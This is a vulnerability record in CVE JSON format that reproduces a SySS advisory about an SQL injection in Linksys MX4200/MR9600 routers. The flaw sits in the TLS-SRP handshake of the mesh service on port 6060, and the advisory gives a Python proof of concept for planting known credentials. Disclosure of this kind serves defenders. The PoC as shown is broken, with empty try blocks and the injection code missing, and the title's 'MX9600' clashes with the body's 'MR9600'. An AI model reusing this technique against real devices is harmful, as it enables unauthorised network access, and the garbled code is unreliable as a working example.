GCVE-1988-2026-0201

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Zäske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2025-009\nProduct:                   MR9600, MX4200 (and potentially others)\nManufacturer:              Linksys\n\nTested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:        SQL Injection (CWE-89)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2025-03-18\nSolution Date:             -\nPublic Disclosure:         2026-02-12\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Christian Zäske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi® 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to improper neutralization of special elements, SQL statements can\nbe injected via the handshake of a TLS-SRP connection. This can be used\nto inject known credentials into the database. These credentials can be\nutilized to successfully complete the handshake and use the protected\nservice.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a service (sct_server\nbinary) running on TCP port 6060 (all interfaces except WAN), which is\nused to integrate other mesh devices into the network. The service\naccepts TLS-SRP connections with a username and password.\n\nThe service uses a different script (smcdb_auth) to receive credential\ninformation from an SQLite databse using the given username. Since the\nservice does not properly neutralize special elements in the username,\narbitrary SQL statements can be injected. This can be used to insert\nknown credentials into the correct database table, which then provide\naccess to the protected service (sct_server).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the \"tlslite-ng\" library, the following Python code will inject\nknown credentials into the \"authorize\" table of the used SQLite database.\nThese credentials can be used to access the service.\n\n  from socket import *\n  from tlslite.api import *\n  from tlslite import *\n\n  N, g, salt, verifier = VerifierDB.makeVerifier(\"SySS\", \"SySS\", 1024)\n  verifier_bytes = verifier.to_bytes(128)\n\n  sock = socket.socket(AF_INET, SOCK_STREAM)\n  sock.connect((\"192.168.1.1\", 6060))\n\n  conn = TLSConnection(sock)\n  try:\n\n  except:\n      pass\n\n  for byte in verifier_bytes:\n      sock = socket.socket(AF_INET, SOCK_STREAM)\n      sock.connect((\"192.168.1.1\", 6060))\n      conn = TLSConnection(sock)\n      try:\n\n      except:\n          pass\n\n\nAfter the code is executed, the TLS-SRP handshake will successfully\ncomplete when authenticating with the username \"SySS\" and the\npassword \"SySS\".\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-01-30: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n    https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-009\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-009.txt\n[3] SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Zäske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:40Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/12"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-009.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-009] Linksys MX9600/MX4200 - SQL Injection",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0201",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/12",
            "automated": true,
            "contentSha256": "d646c0810ab896ea8950905e0c13345bf317a514066c6a6bb89c083058e07519",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:12:50Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:09:40Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0201"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}